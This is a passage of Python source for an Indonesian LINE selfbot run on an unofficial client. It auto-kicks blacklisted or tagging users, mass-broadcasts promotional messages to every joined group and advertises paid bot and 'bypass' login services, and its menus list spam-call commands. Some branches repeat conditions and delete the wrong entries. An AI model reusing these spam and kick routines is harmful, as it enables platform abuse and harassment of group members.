"spacing": "xs"
},
{
"type": "filler"
}
],
# "borderWidth": "1px",
#"cornerRadius": "4px",
# "spacing": "xs",
# "borderColor": "#ffffff",
# "margin": "xs",
# "height": "40px"
}
],
"position": "absolute",
"offsetBottom": "0px",
"offsetStart": "0px",
"offsetEnd": "0px",
"backgroundColor": "#03303Acc",
"paddingAll": "0px",
"paddingTop": "2px"
},
{
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "text",
"text": "sᴄᴛᴠ",
"color": "#ffffff",
"align": "center",
"size": "xs",
"offsetTop": "-3px"
}
],
"position": "absolute",
"cornerRadius": "8px",
"offsetTop": "3px",
"backgroundColor": "#ff334b",
"offsetStart": "5px",
"height": "15px",
"width": "38px"
}
],
"paddingAll": "0px"
}
}
}
cl.postTemplate(op.param1, data)
if op.type == 25 or op.type == 26:
if wait["selfbot"] == True:
msg = op.message
if msg._from not in Bots:
if wait["talkban"] == True:
if msg._from in wait["Talkblacklist"]:
try:
random.choice(ABC).kickoutFromGroup(msg.to, [msg._from])
except:
try:
random.choice(ABC).kickoutFromGroup(msg.to, [msg._from])
except:
random.choice(ABC).kickoutFromGroup(msg.to, [msg._from])
if 'MENTION' in msg.contentMetadata.keys() != None:
if wait["detectMention"] == True:
contact = cl.getContact(msg._from)
name = re.findall(r'@(\w+)', msg.text)
image = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
mention = ast.literal_eval(msg.contentMetadata['MENTION'])
mentionees = mention['MENTIONEES']
for mention in mentionees:
if mention ['M'] in Bots:
sendTextTemplate(msg.to, wait["Respontag"])
break
if 'MENTION' in msg.contentMetadata.keys() != None:
if wait["Mentionkick"] == True:
name = re.findall(r'@(\w+)', msg.text)
mention = ast.literal_eval(msg.contentMetadata['MENTION'])
mentionees = mention['MENTIONEES']
for mention in mentionees:
if mention ['M'] in Bots:
cl.mentiontag(msg.to,[msg._from])
cl.sendMessage(msg.to, "ᴊᴀɴɢᴀɴ ᴛᴀǫ ᴀʙɪ....")
cl.kickoutFromGroup(msg.to, [msg._from])
break
if 'MENTION' in msg.contentMetadata.keys() != None:
if wait["arespon"] == True:
name = re.findall(r'@(\w+)', msg.text)
mention = ast.literal_eval(msg.contentMetadata['MENTION'])
mentionees = mention['MENTIONEES']
lists = []
for mention in mentionees:
if mention ['M'] in mid:
contact = cl.getContact(msg._from)
cl.sendImageWithURL(msg._from, "http://dl.profile.line-cdn.net{}".format(contact.picturePath))
sendMention1(sender, "╭──────────────────╮\n├🔹ᴛᴇʀɪᴍᴀ ᴋᴀsɪʜ sᴜᴅᴀʜ ᴀᴅᴅ │\n╰──────────────────╯\n╭──────────────────\n├🔹ʀᴇᴀᴅʏ ʙᴏᴛ ᴘʀᴏᴛᴇᴄᴛ\n├🔹ʀᴏᴏᴍ sᴍᴜʟᴇ / ᴇᴠᴇɴᴛ \n├🔹ʀᴇᴀᴅʏ sʙ ᴏɴʟʏ \n├🔹sʙ ᴏɴʟʏ + ᴀᴊs \n├🔹sʙ + ᴀssɪsᴛ + ᴀᴊs \n├🔹ʟᴏɢɪɴ ᴊs / ʙʏᴘᴀs / ɴɪɴᴊᴀ\n├🔹ɴᴇᴡ ᴘᴇᴍʙᴜᴀᴛᴀɴ sᴄ ʙᴏᴛ \n├🔹ɴᴇᴡ ʙᴇʟᴀᴊᴀʀ ʙᴏᴛ \n├🔹ᴘᴇᴍᴀsᴀɴɢ sʙ ᴋᴇ ᴛᴇᴍᴘʟᴀᴛᴇ\n├🔹ʀᴇᴀᴅʏ ᴀᴋᴜɴ ᴄᴏɪɴ\n├🔹ʀᴇᴀᴅʏ ᴄᴏɪɴ ɢɪғᴛ \n╰────────────────── \n╭─────────────────\n├ line.me/ti/p/~4rman3\n╰─────────────────", [sender])
break
if msg.contentType == 7:
if wait["sticker"] == True:
msg.contentType = 0
cl.sendMessage(msg.to,"「ᴄᴇᴋ ɪᴅ sᴛɪᴄᴋᴇʀ」\nsᴛᴋɪᴅ : " + msg.contentMetadata["STKID"] + "\nsᴛᴋᴘᴋɢɪᴅ : " + msg.contentMetadata["STKPKGID"] + "\nsᴛᴋᴠᴇʀ : " + msg.contentMetadata["STKVER"]+ "\n\n「ʟɪɴᴋ sᴛɪᴄᴋᴇʀ」" + "\nline://shop/detail/" + msg.contentMetadata["STKPKGID"])
if msg.contentType == 13:
if wait["contact"] == True:
msg.contentType = 0
cl.sendMessage(msg.to,msg.contentMetadata["mid"])
if 'displayName' in msg.contentMetadata:
contact = cl.getContact(msg.contentMetadata["mid"])
path = cl.getContact(msg.contentMetadata["mid"]).picturePath
image = 'http://dl.profile.line.naver.jp'+path
cl.sendMessage(msg.to,"ɴᴀᴍᴀ : " + msg.contentMetadata["displayName"] + "\nᴍɪᴅ : " + msg.contentMetadata["mid"] + "\nsᴛᴀᴛᴜs ᴍsɢ : " + contact.statusMessage + "\nᴘɪᴄᴛᴜʀᴇ ᴜʀʟ : http://dl.profile.line-cdn.net/" + contact.pictureStatus)
cl.sendImageWithURL(msg.to, image)
if op.type == 25 or op.type == 26:
msg = op.message
text = msg.text
msg_id = msg.id
receiver = msg.to
sender = msg._from
if msg.contentType == 16:
url = msg.contentMetadata["postEndUrl"]
cl.likePost(url[25:58], url[66:], likeType=1004)
cl.createComment(url[25:58], url[66:], settings["comment"])
print ("ᴀᴜᴛᴏ ʟɪᴋᴇ ᴅᴏɴᴇ")
sendTextTemplate(msg.to,"👍 AUTO LIKE BY CANNIBAL")
settings["likeOn"] = False
if op.type == 25 or op.type == 26:
msg = op.message
text = msg.text
msg_id = msg.id
receiver = msg.to
sender = msg._from
if msg.toType == 0 or msg.toType == 2:
if msg.toType == 0:
to = receiver
elif msg.toType == 2:
to = receiver
if msg.contentType == 7:
if wait["sticker"] == True:
msg.contentType = 0
sendTextTemplate(msg.to,"sᴛᴋɪᴅ : " + msg.contentMetadata["STKID"] + "\nsᴛᴋᴘᴋɢɪᴅ : " + msg.contentMetadata["STKPKGID"] + "\nsᴛᴋᴠᴇʀ : " + msg.contentMetadata["STKVER"]+ "\n\n「ʟɪɴᴋ sᴛɪᴄᴋᴇʀ」" + "\nline://shop/detail/" + msg.contentMetadata["STKPKGID"])
if msg.contentType == 13:
if wait["contact"] == True:
msg.contentType = 0
cl.sendMessage(msg.to,msg.contentMetadata["mid"])
if 'displayName' in msg.contentMetadata:
contact = cl.getContact(msg.contentMetadata["mid"])
path = cl.getContact(msg.contentMetadata["mid"]).picturePath
image = 'http://dl.profile.line.naver.jp'+path
sendTextTemplate(msg.to,"ɴᴀᴍᴀ : " + msg.contentMetadata["displayName"] + "\nᴍɪᴅ : " + msg.contentMetadata["mid"] + "\nsᴛᴀᴛᴜs ᴍsɢ : " + contact.statusMessage + "\nᴘɪᴄᴛᴜʀᴇ ᴜʀʟ: http://dl.profile.line-cdn.net/" + contact.pictureStatus)
cl.sendImageWithURL(msg.to, image)
#===================================[ ] ADD Bots
if msg.contentType == 13:
if msg._from in admin:
if wait["addbots"] == True:
if msg.contentMetadata["mid"] in Bots:
sendTextTemplate(msg.to,"🔹sᴜᴅᴀʜ ᴊᴀᴅɪ ʙᴏᴛ")
wait["addbots"] = True
else:
Bots.append(msg.contentMetadata["mid"])
wait["addbots"] = True
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴᴀᴍʙᴀʜᴋᴀɴ ᴀɴɢɢᴏᴛᴀ ʙᴏᴛ")
if wait["dellbots"] == True:
if msg.contentMetadata["mid"] in Bots:
Bots.remove(msg.contentMetadata["mid"])
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴɢʜᴀᴘᴜs ᴀɴɢɢᴏᴛᴀ ʙᴏᴛ")
else:
wait["dellbots"] = True
sendTextTemplate(msg.to,"🔹ɪᴛᴜ ʙᴜᴋᴀɴ ᴀɴɢɢᴏᴛᴀ ʙᴏᴛ")
#===================================[ ] ADD STAFF
if msg._from in admin:
if wait["addstaff"] == True:
if msg.contentMetadata["mid"] in staff:
cl.sendMessage(msg.to,"🔹sᴜᴅᴀʜ ᴊᴀᴅɪ sᴛᴀғғ")
wait["addstaff"] = True
else:
staff.append(msg.contentMetadata["mid"])
wait["addstaff"] = True
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴᴀᴍʙᴀʜᴋᴀɴ sᴛᴀғғ")
if wait["dellstaff"] == True:
if msg.contentMetadata["mid"] in staff:
staff.remove(msg.contentMetadata["mid"])
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴɢʜᴀᴘᴜs sᴛᴀғғ")
wait["dellstaff"] = True
else:
wait["dellstaff"] = True
sendTextTemplate(msg.to,"🔹ɪᴛᴜ ʙᴜᴋᴀɴ sᴛᴀғғ")
#===================================[ ] ADD ADMIN
if msg._from in admin:
if wait["addadmin"] == True:
if msg.contentMetadata["mid"] in admin:
sendTextTemplate(msg.to,"🔹ɪᴛᴜ ʙᴜᴋᴀɴ ᴀᴅᴍɪɴ")
wait["addadmin"] = True
else:
admin.append(msg.contentMetadata["mid"])
wait["addadmin"] = True
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴᴀᴍʙᴀʜ ᴀᴅᴍɪɴ")
if wait["delladmin"] == True:
if msg.contentMetadata["mid"] in admin:
admin.remove(msg.contentMetadata["mid"])
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴɢʜᴀᴘᴜs ᴀᴅᴍɪɴ")
else:
wait["delladmin"] = True
sendTextTemplate(msg.to,"🔹ɪᴛᴜ ʙᴜᴋᴀɴ ᴀᴅᴍɪɴ")
#===================================[ ] ADD BLACKLIST
if msg._from in admin:
if wait["wblacklist"] == True:
if msg.contentMetadata["mid"] in wait["blacklist"]:
sendTextTemplate(msg.to,"🔹sᴜᴅᴀʜ ᴀᴅᴀ ᴅɪ ʙʟᴀᴄᴋʟɪsᴛ")
wait["wblacklist"] = True
else:
wait["blacklist"][msg.contentMetadata["mid"]] = True
wait["wblacklist"] = True
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴᴀᴍʙᴀʜ ʙʟᴀᴄᴋʟɪsᴛ ᴜsᴇʀ")
if wait["dblacklist"] == True:
if msg.contentMetadata["mid"] in wait["blacklist"]:
del wait["blacklist"][msg.contentMetadata["mid"]]
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴɢʜᴀᴘᴜs ʙʟᴀᴄᴋʟɪsᴛ ᴜsᴇʀ")
else:
wait["dblacklist"] = True
sendTextTemplate(msg.to,"🔹ᴛɪᴅᴀᴋ ᴀᴅᴀ ʙʟᴀᴄᴋʟɪsᴛ")
#===================================[ ] TALKBAN
if msg._from in admin:
if wait["Talkwblacklist"] == True:
if msg.contentMetadata["mid"] in wait["Talkblacklist"]:
sendTextTemplate(msg.to,"🔹sᴜᴅᴀʜ ᴀᴅᴀ ᴅɪ ᴛᴀʟᴋʙᴀɴ")
wait["Talkwblacklist"] = True
else:
wait["Talkblacklist"][msg.contentMetadata["mid"]] = True
wait["Talkwblacklist"] = True
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴᴀᴍʙᴀʜᴋᴀɴ ᴛᴀʟᴋʙᴀɴ ᴜsᴇʀ")
if wait["Talkdblacklist"] == True:
if msg.contentMetadata["mid"] in wait["Talkblacklist"]:
sendTextTemplate(msg.to,"🔹ᴅᴏɴᴇ ᴍᴇɴɢʜᴀᴘᴜs ᴛᴀʟᴋʙᴀɴ ᴜsᴇʀ")
else:
wait["Talkdblacklist"] = True
sendTextTemplate(msg.to,"🔹ᴛɪᴅᴀᴋ ᴀᴅᴀ ᴅɪ ᴛᴀʟᴋʙᴀɴ")
#===================================[ ] UPDATE FOTO
if msg.contentType == 1:
if msg._from in admin:
if Setmain["Addimage"] == True:
msgid = msg.id
fotoo = "https://obs.line-apps.com/talk/m/download.nhn?oid="+msgid
headers = cl.Talk.Headers
r = requests.get(fotoo, headers=headers, stream=True)
if r.status_code == 200:
path = os.path.join(os.path.dirname(__file__), 'dataPhotos/%s.jpg' % Setmain["Img"])
with open(path, 'wb') as fp:
shutil.copyfileobj(r.raw, fp)
sendTextTemplate(msg.to, "🔹ᴅᴏɴᴇ ᴍᴇɴᴀᴍʙᴀʜᴋᴀɴ ɢᴀᴍʙᴀʀ")
Setmain["Img"] = {}
Setmain["Addimage"] = False
if msg.toType == 2:
if msg._from in admin:
if settings["groupPicture"] == True:
path = cl.downloadObjectMsg(msg_id)
settings["groupPicture"] = False
cl.updateGroupPicture(msg.to, path)
sendTextTemplate(msg.to, "🔹ᴅᴏɴᴇ ᴍᴇɴɢᴜʙᴀʜ ғᴏᴛᴏ ɢʀᴏᴜᴘ")
if msg.contentType == 1:
if msg._from in admin:
if mid in Setmain["RAfoto"]:
path = cl.downloadObjectMsg(msg_id)
del Setmain["RAfoto"][mid]
cl.updateProfilePicture(path)
sendTextTemplate(msg.to,"🔹ғᴏᴛᴏ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
if msg.contentType == 1:
if msg._from in admin:
if Amid in Setmain["RAfoto"]:
path = ki.downloadObjectMsg(msg_id)
del Setmain["RAfoto"][Amid]
ki.updateProfilePicture(path)
ki.sendMessage(msg.to,"🔹ғᴏᴛᴏ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
elif Bmid in Setmain["RAfoto"]:
path = kk.downloadObjectMsg(msg_id)
del Setmain["RAfoto"][Bmid]
kk.updateProfilePicture(path)
kk.sendMessage(msg.to,"🔹ғᴏᴛᴏ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
elif Cmid in Setmain["RAfoto"]:
path = kc.downloadObjectMsg(msg_id)
del Setmain["RAfoto"][Cmid]
kc.updateProfilePicture(path)
kc.sendMessage(msg.to,"🔹ғᴏᴛᴏ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
elif Dmid in Setmain["RAfoto"]:
path = ko.downloadObjectMsg(msg_id)
del Setmain["RAfoto"][Dmid]
ko.updateProfilePicture(path)
ko.sendMessage(msg.to,"🔹ғᴏᴛᴏ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
elif Bmid in Setmain["RAfoto"]:
path = jk.downloadObjectMsg(msg_id)
del Setmain["RAfoto"][Emid]
jk.updateProfilePicture(path)
jk.sendMessage(msg.to,"🔹ғᴏᴛᴏ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
elif Cmid in Setmain["RAfoto"]:
path = bu.downloadObjectMsg(msg_id)
del Setmain["RAfoto"][Fmid]
bu.updateProfilePicture(path)
bu.sendMessage(msg.to,"🔹ғᴏᴛᴏ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
elif Dmid in Setmain["RAfoto"]:
path = bi.downloadObjectMsg(msg_id)
del Setmain["RAfoto"][Gmid]
bi.updateProfilePicture(path)
bi.sendMessage(msg.to,"🔹ғᴏᴛᴏ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
elif Cmid in Setmain["RAfoto"]:
path = bo.downloadObjectMsg(msg_id)
del Setmain["RAfoto"][Hmid]
bo.updateProfilePicture(path)
bo.sendMessage(msg.to,"🔹ғᴏᴛᴏ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
elif Dmid in Setmain["RAfoto"]:
path = be.downloadObjectMsg(msg_id)
del Setmain["RAfoto"][Imid]
be.updateProfilePicture(path)
be.sendMessage(msg.to,"🔹ғᴏᴛᴏ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
elif Dmid in Setmain["RAfoto"]:
path = by.downloadObjectMsg(msg_id)
del Setmain["RAfoto"][Jmid]
by.updateProfilePicture(path)
by.sendMessage(msg.to,"🔹ғᴏᴛᴏ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
elif Zmid in Setmain["RAfoto"]:
path = sw.downloadObjectMsg(msg_id)
del Setmain["RAfoto"][Zmid]
sw.updateProfilePicture(path)
sw.sendMessage(msg.to,"🔹ғᴏᴛᴏ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
if msg.contentType == 1:
if msg._from in admin:
if settings["changePicture"] == True:
path1 = ki.downloadObjectMsg(msg_id)
path2 = kk.downloadObjectMsg(msg_id)
path3 = kc.downloadObjectMsg(msg_id)
path4 = ko.downloadObjectMsg(msg_id)
settings["changePicture"] = False
ki.updateProfilePicture(path1)
ki.sendMessage(msg.to, "🔹ғᴏᴛᴏ ʙᴏᴛ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
kk.updateProfilePicture(path2)
kk.sendMessage(msg.to, "🔹ғᴏᴛᴏ ʙᴏᴛ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
kc.updateProfilePicture(path3)
kc.sendMessage(msg.to, "🔹ғᴏᴛᴏ ʙᴏᴛ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
ko.updateProfilePicture(path4)
ko.sendMessage(msg.to, "🔹ғᴏᴛᴏ ʙᴏᴛ ᴅᴏɴᴇ ᴅɪ ʀᴜʙᴀʜ")
if msg.contentType == 0:
if Setmain["autoRead"] == True:
cl.sendChatChecked(msg.to, msg_id)
if text is None:
return
else:
cmd = command(text)
if cmd == "menu":
if wait["selfbot"] == True:
if msg._from in admin:
helpMessage = help()
sendTextTemplate(msg.to, str(helpMessage))
if cmd == "self on":
if msg._from in admin:
wait["selfbot"] = True
sendTextTemplate(msg.to, "🔹ᴛᴇᴍᴘʟᴀᴛᴇ ᴀᴋᴛɪғ ʙᴏssᴋᴜ")
elif cmd == "help":
if wait["selfbot"] == True:
if msg._from in owner or msg._from in admin:
sendTextTemplate(msg.to, "╭─────╮\n├🔹ʜᴇʟᴘ\n├🔹ᴍᴇɴᴜ\n├🔹ʜᴇʟᴘ¹\n├🔹ʜᴇʟᴘ²\n├🔹ʜᴇʟᴘ³\n├🔹ʜᴇʟᴘ⁴\n├🔹ʜᴇʟᴘ⅝\n├🔹ᴍʏsᴇᴛ\n├🔹ᴊᴏᴏx-ᴊᴜᴅᴜʟ\n├🔹ɢs ᴛᴀɢ\n├🔹ᴋᴄ ᴛᴀɢ\n├🔹ʜᴇʀᴇ\n├🔹ᴏᴜᴛ\n├🔹ʀs\n├🔹ʙᴄ¹:\n├🔹ʙʀᴏᴀᴅᴄᴀsᴛ:\n├🔹ᴀʙᴏᴜᴛ\n╰──────╯\n\n╭───────────────────────\n├🔹ᴄʀᴇᴀᴛᴏʀ ᴛᴇᴍᴘʟᴀᴛᴇ ʙʏᴇ : CANNIBAL\n╰───────────────────────")
elif cmd == "self off":
if msg._from in admin:
wait["selfbot"] = False
sendTextTemplate(msg.to, "ᴛᴇᴍᴘʟᴀᴛᴇ ᴏғғ ʙᴏssᴋᴜ")
elif cmd == "help1":
if wait["selfbot"] == True:
if msg._from in owner or msg._from in admin:
sendTextTemplate(msg.to, "╭───────────╮\n├🔹ɴᴏᴛᴀɢ ᴏɴ|ᴏғғ\n├🔹ᴀʟʟᴘʀᴏ ᴏɴ|ᴏғғ\n├🔹ᴘʀᴏᴛᴇᴄᴛᴜʀʟ ᴏɴ|ᴏғғ\n├🔹ᴘʀᴏᴛᴇᴄᴛᴊᴏɪɴ ᴏɴ|ᴏғғ\n├🔹ᴘʀᴏᴛᴇᴄᴛᴋɪᴄᴋ ᴏɴ|ᴏғғ\n├🔹ᴘʀᴏᴛᴇᴄᴛᴄᴀɴᴄᴇʟ ᴏɴ|ᴏғғ\n╰───────────────╯\n\n╭───────────────────────\n├🔹ᴄʀᴇᴀᴛᴏʀ ᴛᴇᴍᴘʟᴀᴛᴇ ʙʏᴇ : CANNIBAL\n╰───────────────────────")
elif cmd == "help2":
if wait["selfbot"] == True:
if msg._from in admin:
helpMessage1 = helpbot()
sendTextTemplate(msg.to, str(helpMessage1))
elif cmd == "help3":
if wait["selfbot"] == True:
if msg._from in owner or msg._from in admin:
sendTextTemplate(msg.to, "╭───────╮\n├🔹ʜᴀʜ\n├🔹sᴜᴇ\n├🔹ᴡᴏʏ/ᴄᴏʟᴏᴋ\n├🔹sᴇᴅɪʜ\n├🔹sᴇᴘɪ\n├🔹ʜᴀᴅᴇʜ\n├🔹ᴊᴜᴍʟᴀʜ:\n├🔹sᴛᴀɢ ᴛᴀɢ\n├🔹sᴘᴀᴍᴄᴀʟʟ: ᴊᴜᴍʟᴀʜ\n├🔹sᴘᴀᴍᴄᴀʟʟ\n╰──────────╯\n\n╭───────────────────────\n├🔹ᴄʀᴇᴀᴛᴏʀ ᴛᴇᴍᴘʟᴀᴛᴇ ʙʏᴇ : CANNIBAL\n╰───────────────────────")
elif cmd == "help4":
if wait["selfbot"] == True:
if msg._from in owner or msg._from in admin:
sendTextTemplate(msg.to, "╭───────────╮\n├🔹ʀᴇsᴘᴏɴ ᴏɴ|ᴏғғ\n├🔹ᴄᴏɴᴛᴀᴄᴛ ᴏɴ|ᴏғғ\n├🔹ᴀᴜᴛᴏᴊᴏɪɴ ᴏɴ|ᴏғғ\n├🔹ᴀᴜᴛᴏᴀᴅᴅ ᴏɴ|ᴏғғ\n├🔹ᴀᴜᴛᴏʟᴇᴀᴠᴇ ᴏɴ|ᴏғғ\n├🔹ᴡᴇʟᴄᴏᴍᴇ ᴏɴ|ᴏғғ\n├??ᴊᴀɴᴅᴀ ᴏɴ|ᴏғғ\n╰───────────╯\n\n╭───────────────────────\n├🔹ᴄʀᴇᴀᴛᴏʀ ᴛᴇᴍᴘʟᴀᴛᴇ ʙʏᴇ : CANNIBAL\n╰───────────────────────")
elif cmd == "help5":
if wait["selfbot"] == True:
if msg._from in owner or msg._from in admin:
sendTextTemplate(msg.to, "╭─────────╮\n├🔹ᴀᴅᴍɪɴ:ᴏɴ\n├🔹ᴀᴅᴍɪɴ:ʀᴇᴘᴇᴀᴛ\n├🔹sᴛᴀғғ:ᴏɴ\n├🔹sᴛᴀғғ:ʀᴇᴘᴇᴀᴛ\n├🔹ᴀᴅᴍɪɴᴀᴅᴅ ᴛᴀɢ\n├🔹ᴀ ᴛᴀɢ\n├🔹s ᴛᴀɢ\n├🔹s ᴛᴀɢ\n├🔹ʙᴏᴛᴀᴅᴅ ᴛᴀɢ\n├🔹ʙᴏᴛᴅᴇʟʟ ᴛᴀɢ\n├🔹ʀᴇғʀᴇsʜ\n├🔹ʟɪsᴛʙᴏᴛ\n├🔹ʟɪsᴛᴀᴅᴍɪɴ\n├🔹ʟɪsᴛᴘʀᴏᴛᴇᴄᴛ\n├🔹sᴇʟғ ᴏɴ|ᴏғғ\n╰─────────╯\n\n╭───────────────────────\n├🔹ᴄʀᴇᴀᴛᴏʀ ᴛᴇᴍᴘʟᴀᴛᴇ ʙʏᴇ : CANNIBAL\n╰───────────────────────")
elif cmd.startswith("broadcast: "):
if msg._from in admin:
sep = text.split(" ")
bc = text.replace(sep[0] + " ","")
saya = cl.getGroupIdsJoined()
for group in saya:
ryan = cl.getContact(mid)
zx = ""
zxc = ""
zx2 = []
xpesan = " [ɴᴜᴍᴘᴀɴɢ ᴘʀᴏᴍᴏ ʏᴀ ᴋᴋ] \nʙʀᴏᴀᴅᴄᴀsᴛ ʙʏᴇ "
ret_ = "{}".format(str(bc))
ry = str(ryan.displayName)
pesan = ''
pesan2 = pesan+"@x\n"
xlen = str(len(zxc)+len(xpesan))
xlen2 = str(len(zxc)+len(pesan2)+len(xpesan)-1)
zx = {'S':xlen, 'E':xlen2, 'M':ryan.mid}
zx2.append(zx)
zxc += pesan2
text = xpesan + zxc + ret_ + ""
cl.sendMessage(group, text, contentMetadata={'MENTION':str('{"MENTIONEES":'+json.dumps(zx2).replace(' ','')+'}')}, contentType=0)
elif cmd == "promo1":
if msg._from in admin:
saya = cl.getGroupIdsJoined()
for groups in saya:
data = {
"contents": [
{
"hero": {
"aspectMode": "cover",
"url": "https://media0.giphy.com/media/xVxio2tNLAM5q/200w.webp?cid=19f5b51a5c44951d4b47664273e6c074",
"action": {
"uri": "http://line.me/ti/p/~4rman3",
"type": "uri"
},
"type": "image",
"size": "full"
},
"styles": {
"body": {
"backgroundColor": "#000000"
},
"footer": {
"backgroundColor": "#C0FF03"
},
"header": {
"backgroundColor": "#C0FF03"
}
},
"type": "bubble",
"body": {
"contents": [
{
"text": "CANNIBAL KILLER TEMPLATE",
"color": "#00FFFF",
"wrap": True,
"weight": "bold",
"type": "text",
"size": "lg",
"align": "center"
},
{
"type": "separator",
"color": "#6F4E37"
},
{
"contents": [
{
"contents": [
{
"size": "xl",
"type": "icon",
"url":"https://media3.giphy.com/media/jLDTcbU89ZOW4/200.webp?cid=19f5b51a5c449c5e414637706ff581fb"
},
{
"text": "ᴘᴇᴍᴀsᴀɴɢᴀɴ sʙ ᴋᴇ ᴛᴇᴍᴘʟᴀᴛᴇ",
"color": "#FFFF00",
"flex": 0,
"weight": "bold",
"type": "text",
"margin": "none"
}
],
"type": "box",
"layout": "baseline"
}
],
"type": "box",
"spacing": "xs",
"layout": "vertical"
},
{
"text": "160K/Bln",
"size": "xs",
"align": "end",
"color": "#000000",
"wrap": True,
"type": "text"
},
{
"contents": [
{
"contents": [
{
"size": "xl",
"type": "icon",
"url":"https://media3.giphy.com/media/jLDTcbU89ZOW4/200.webp?cid=19f5b51a5c449c5e414637706ff581fb"
},
{
"text": "sʙ ᴏɴʟʏ ᴛᴇᴍᴘʟᴀᴛᴇ",
"color": "#FFFF00",
"flex": 0,
"weight": "bold",
"type": "text",
"margin": "none"
}
],
"type": "box",
"layout": "baseline"
}
],
"type": "box",
"spacing": "xs",
"layout": "vertical"
},
{
"text": "200K/Bln",
"size": "xs",
"align": "end",
"color": "#000000",
"wrap": True,
"type": "text"
},
{
"contents": [
{
"contents": [
{
"size": "xl",
"type": "icon",
"url":"https://media3.giphy.com/media/jLDTcbU89ZOW4/200.webp?cid=19f5b51a5c449c5e414637706ff581fb"
},
{
"text": "sʙ 3 ᴀssɪsᴛ ᴛᴇᴍᴘʟᴀᴛᴇ",
"color": "#FFFF00",
"flex": 0,
"weight": "bold",
"type": "text",
"margin": "none"
}
],
"type": "box",
"layout": "baseline"
}
],
"type": "box",
"spacing": "xs",
"layout": "vertical"
},
{
"text": "250k/Bln",
"size": "xs",
"align": "end",
"color": "#000000",
"wrap": True,
"type": "text"
},
{
"contents": [
{
"contents": [
{
"size": "xl",
"type": "icon",
"url":"https://media3.giphy.com/media/jLDTcbU89ZOW4/200.webp?cid=19f5b51a5c449c5e414637706ff581fb"
},
{
"text": "sʙ 6 ᴀssɪsᴛ ᴛᴇᴍᴘʟᴀᴛᴇ",
"color": "#FFFF00",
"flex": 0,
"weight": "bold",
"type": "text",
"margin": "none"
}
],
"type": "box",
"layout": "baseline"
}
],
"type": "box",
"spacing": "xs",
"layout": "vertical"
},
{
"text": "500k/Bln",
"size": "xs",
"align": "end",
"color": "#000000",
"wrap": True,
"type": "text"
}
],
"type": "box",
"spacing": "xs",
"layout": "vertical"
},
"type": "bubble",
"footer": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "ᴏᴡɴᴇʀ",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#000000",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
},
"align": "center"
}
]
},
"type": "bubble",
"header": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "ᴋᴇᴘᴏɪɴ sᴇᴋᴀʀᴀɴɢ\nhttp://line.me/ti/p/~4rman3",
"size": "xl",
"wrap": True,
"weight": "bold",
"color": "#000000",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
},
"align": "center"
}
]
}
}
],
"type": "carousel"
}
cl.postFlex(groups, data)
elif cmd == "me":
contact = cl.getProfile()
mids = [contact.mid]
status = cl.getContact(sender)
data = {
"type": "flex",
"altText": "CANNIBAL",
"contents": {
"type": "bubble",
"body": {
"type": "box",
"layout": "horizontal",
"spacing": "md",
"contents": [
{
"type": "box",
"layout": "vertical",
"flex": 2,
"contents": [
{
"type": "text",
"flex": 2,
"text": "{}".format(status.displayName),
"size": "md",
"wrap": True,
"weight": "bold",
"gravity": "center",
"color": "#657383"
},
{
"type": "separator",
"color": "#6F4E37"
},
{
"type": "text",
"text": "sᴛᴀᴛᴜs ᴘʀᴏғɪʟᴇ:",
"size": "xs",
"weight": "bold",
"wrap": True,
"color": "#657383"
},
{
"type": "text",
"text": "{}".format(status.statusMessage),
"size": "xs",
"color": "#657383",
"wrap": True
}
]
}
]
},
"styles": {
"body": {
"backgroundColor": "#FFF5EE"
},
"footer": {
"backgroundColor": "#00BFFF"
}
},
"hero": {
"type": "image",
"url": "https://obs.line-scdn.net/{}".format(cl.getContact(sender).pictureStatus),
"size": "full",
"margin": "xxl"
},
"footer": {
"type": "box",
"layout": "horizontal",
"contents": [
{
"type": "text",
"text": "ᴀʙᴏᴜᴛ",
"size": "xs",
"wrap": True,
"weight": "bold",
"color": "#E5E4E2",
"action": {
"type": "uri",
"uri": "line://app/1603968955-ORWb9RdY/?type=text&text=about"
},
"align": "center"
},
{
"type": "separator",
"color": "#E5E4E2"
},
{
"type": "text",
"text": "ᴏᴡɴᴇʀ",
"size": "xs",
"wrap": True,
"weight": "bold",
"color": "#E5E4E2",
"action": {
"type": "uri",
"uri": "http://line.me/ti/p/~4rman3"
},
"align": "center"
}
]
}
}
}
cl.postTemplate(to, data)
elif cmd.startswith("joox"):
try:
proses = text.split(" ")
urutan = text.replace(proses[0] + " ","")
r = requests.get("http://api.zicor.ooo/joox.php?song={}".format(str(urllib.parse.quote(urutan))))
data = r.text
data = json.loads(data)
b = data
c = str(b["title"])
